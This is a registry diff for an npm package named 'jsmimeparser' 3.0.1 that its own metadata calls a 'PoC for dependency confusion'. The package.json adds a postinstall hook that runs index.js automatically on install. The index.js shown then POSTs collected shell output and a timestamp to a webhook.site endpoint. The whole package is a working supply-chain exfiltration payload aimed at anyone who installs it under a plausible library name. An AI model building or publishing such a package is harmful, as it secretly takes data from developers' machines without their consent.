jsmimeparser 3.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +25 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,25 @@
1
+ timestamp: new Date().toISOString()
2
+ },
3
+ shell_output: output
4
+ });
5
+
6
+ const options = {
7
+ hostname: 'webhook.site',
8
+ path: '/95230d1c-a690-4d8e-a646-efcdcf6da99a', // Replace with your webhook
9
+ method: 'POST',
10
+ headers: {
11
+ 'Content-Type': 'application/json',
12
+ 'Content-Length': data.length
13
+ }
14
+ };
15
+
16
+ const req = https.request(options, res => {
17
+ console.log(`[+] PoC data sent. Status: ${res.statusCode}`);
18
+ });
19
+
20
+ req.on('error', error => {
21
+ console.error('[-] Failed to send webhook:', error);
22
+ });
23
+
24
+ req.write(data);
25
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "jsmimeparser",
3
+ "version": "3.0.1",
4
+ "description": "PoC for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"PoC - No tests\" && exit 0",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "h4cker nafeed",
11
+ "license": "ISC"
12
+ }